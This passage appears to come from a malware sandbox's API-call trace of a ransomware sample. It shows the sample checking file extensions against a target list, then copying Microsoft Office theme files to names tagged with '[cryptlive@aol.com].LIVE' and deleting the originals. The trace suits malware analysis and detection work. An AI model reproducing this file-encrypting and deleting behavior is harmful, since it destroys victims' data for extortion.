(lpString=".bz2") returned 4 [0135.838] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.838] lstrlenW (lpString=".7z") returned 3 [0135.838] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.838] lstrlenW (lpString=".dbf") returned 4 [0135.838] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.838] lstrlenW (lpString=".1cd") returned 4 [0135.838] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.838] lstrlenW (lpString=".jpg") returned 4 [0135.838] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.838] lstrlenW (lpString=".doc") returned 4 [0135.838] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0135.838] lstrlenW (lpString=".docx") returned 5 [0135.838] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0135.838] lstrlenW (lpString=".pdf") returned 4 [0135.838] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0135.839] lstrlenW (lpString=".xls") returned 4 [0135.839] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0135.839] lstrlenW (lpString=".xlsx") returned 5 [0135.839] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0135.839] lstrlenW (lpString=".ppt") returned 4 [0135.839] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0135.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.839] lstrlenW (lpString=".zip") returned 4 [0135.839] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0135.839] lstrlenW (lpString=".rar") returned 4 [0135.839] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0135.839] lstrlenW (lpString=".bz2") returned 4 [0135.839] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0135.839] lstrlenW (lpString=".7z") returned 3 [0135.839] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0135.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.839] lstrlenW (lpString=".dbf") returned 4 [0135.839] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0135.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.839] lstrlenW (lpString=".1cd") returned 4 [0135.839] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0135.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0135.839] lstrlenW (lpString=".jpg") returned 4 [0135.839] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0135.839] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.839] lstrlenW (lpString="Equity.eftx") returned 11 [0135.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0135.917] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=24611) returned 1 [0135.917] CloseHandle (hObject=0x388) returned 1 [0135.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 0x20 [0135.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.945] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.945] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.946] GetLastError () returned 0x0 [0135.946] ReadFile (in: hFile=0x390, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x6023, lpOverlapped=0x0) returned 1 [0135.948] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x6030, lpOverlapped=0x0) returned 1 [0135.950] ReadFile (in: hFile=0x390, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.950] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0135.950] SetEndOfFile (hFile=0x38c) returned 1 [0135.950] CloseHandle (hObject=0x38c) returned 1 [0135.950] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.950] SetEndOfFile (hFile=0x390) returned 1 [0135.954] CloseHandle (hObject=0x390) returned 1 [0135.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 1 [0135.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.955] lstrlenW (lpString=".doc") returned 4 [0135.955] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.955] lstrlenW (lpString=".docx") returned 5 [0135.955] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.955] lstrlenW (lpString=".pdf") returned 4 [0135.955] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.955] lstrlenW (lpString=".xls") returned 4 [0135.955] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.955] lstrlenW (lpString=".xlsx") returned 5 [0135.955] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.955] lstrlenW (lpString=".ppt") returned 4 [0135.955] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.955] lstrlenW (lpString=".zip") returned 4 [0135.955] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.956] lstrlenW (lpString=".rar") returned 4 [0135.956] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.956] lstrlenW (lpString=".bz2") returned 4 [0135.956] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.956] lstrlenW (lpString=".7z") returned 3 [0135.956] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.956] lstrlenW (lpString=".dbf") returned 4 [0135.956] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.956] lstrlenW (lpString=".1cd") returned 4 [0135.956] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.956] lstrlenW (lpString=".jpg") returned 4 [0135.956] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.956] lstrlenW (lpString=".doc") returned 4 [0135.956] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.956] lstrlenW (lpString=".docx") returned 5 [0135.956] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.956] lstrlenW (lpString=".pdf") returned 4 [0135.956] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.956] lstrlenW (lpString=".xls") returned 4 [0135.956] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.956] lstrlenW (lpString=".xlsx") returned 5 [0135.956] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.956] lstrlenW (lpString=".ppt") returned 4 [0135.956] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.957] lstrlenW (lpString=".zip") returned 4 [0135.957] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.957] lstrlenW (lpString=".rar") returned 4 [0135.957] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.957] lstrlenW (lpString=".bz2") returned 4 [0135.957] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.957] lstrlenW (lpString=".7z") returned 3 [0135.957] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.957] lstrlenW (lpString=".dbf") returned 4 [0135.957] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.957] lstrlenW (lpString=".1cd") returned 4 [0135.957] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0135.957] lstrlenW (lpString=".jpg") returned 4 [0135.957] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.957] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.957] lstrlenW (lpString="Executive.eftx") returned 14 [0135.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.958] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=21156) returned 1 [0135.959] CloseHandle (hObject=0x390) returned 1 [0135.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 0x20 [0135.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.959] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.959] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.961] GetLastError () returned 0x0 [0135.961] ReadFile (in: hFile=0x390, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x52a4, lpOverlapped=0x0) returned 1 [0135.964] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x52b0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x52b0, lpOverlapped=0x0) returned 1 [0135.966] ReadFile (in: hFile=0x390, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.966] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0135.966] SetEndOfFile (hFile=0x38c) returned 1 [0135.966] CloseHandle (hObject=0x38c) returned 1 [0135.966] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.966] SetEndOfFile (hFile=0x390) returned 1 [0135.969] CloseHandle (hObject=0x390) returned 1 [0135.969] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0135.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx")) returned 1 [0135.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.970] lstrlenW (lpString=".doc") returned 4 [0135.970] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.970] lstrlenW (lpString=".docx") returned 5 [0135.970] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.970] lstrlenW (lpString=".pdf") returned 4 [0135.970] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.970] lstrlenW (lpString=".xls") returned 4 [0135.970] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.970] lstrlenW (lpString=".xlsx") returned 5 [0135.970] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.970] lstrlenW (lpString=".ppt") returned 4 [0135.970] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.970] lstrlenW (lpString=".zip") returned 4 [0135.970] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.971] lstrlenW (lpString=".rar") returned 4 [0135.971] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.971] lstrlenW (lpString=".bz2") returned 4 [0135.971] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.971] lstrlenW (lpString=".7z") returned 3 [0135.971] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.971] lstrlenW (lpString=".dbf") returned 4 [0135.971] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.971] lstrlenW (lpString=".1cd") returned 4 [0135.971] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.971] lstrlenW (lpString=".jpg") returned 4 [0135.971] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.971] lstrlenW (lpString=".doc") returned 4 [0135.971] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0135.971] lstrlenW (lpString=".docx") returned 5 [0135.971] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0135.971] lstrlenW (lpString=".pdf") returned 4 [0135.971] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0135.971] lstrlenW (lpString=".xls") returned 4 [0135.971] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0135.971] lstrlenW (lpString=".xlsx") returned 5 [0135.971] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0135.971] lstrlenW (lpString=".ppt") returned 4 [0135.971] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0135.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.971] lstrlenW (lpString=".zip") returned 4 [0135.971] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0135.971] lstrlenW (lpString=".rar") returned 4 [0135.972] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0135.972] lstrlenW (lpString=".bz2") returned 4 [0135.972] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0135.972] lstrlenW (lpString=".7z") returned 3 [0135.972] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0135.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.972] lstrlenW (lpString=".dbf") returned 4 [0135.972] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0135.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.972] lstrlenW (lpString=".1cd") returned 4 [0135.972] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0135.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81 [0135.972] lstrlenW (lpString=".jpg") returned 4 [0135.972] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0135.972] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0135.972] lstrlenW (lpString="Flow.eftx") returned 9 [0135.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.976] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=26648) returned 1 [0135.976] CloseHandle (hObject=0x390) returned 1 [0135.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 0x20 [0135.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0135.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0135.976] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.976] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0135.977] GetLastError () returned 0x0 [0135.977] ReadFile (in: hFile=0x390, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x6818, lpOverlapped=0x0) returned 1 [0135.980] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x6820, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x6820, lpOverlapped=0x0) returned 1 [0135.981] ReadFile (in: hFile=0x390, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0135.981] WriteFile (in: hFile=0x38c, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0135.981] SetEndOfFile (hFile=0x38c) returned 1 [0135.982] CloseHandle (hObject=0x38c) returned 1 [0135.982] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0135.982] SetEndOfFile (hFile=0x390) returned 1 [0136.165] CloseHandle (hObject=0x390) returned 1 [0136.165] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 1 [0136.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.192] lstrlenW (lpString=".doc") returned 4 [0136.192] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.192] lstrlenW (lpString=".docx") returned 5 [0136.192] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.192] lstrlenW (lpString=".pdf") returned 4 [0136.192] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.192] lstrlenW (lpString=".xls") returned 4 [0136.192] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.192] lstrlenW (lpString=".xlsx") returned 5 [0136.192] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.192] lstrlenW (lpString=".ppt") returned 4 [0136.192] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.192] lstrlenW (lpString=".zip") returned 4 [0136.192] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString=".rar") returned 4 [0136.193] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString=".bz2") returned 4 [0136.193] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString=".7z") returned 3 [0136.193] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.193] lstrlenW (lpString=".dbf") returned 4 [0136.193] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.193] lstrlenW (lpString=".1cd") returned 4 [0136.193] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.193] lstrlenW (lpString=".jpg") returned 4 [0136.193] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0136.193] lstrlenW (lpString="C:\\Program 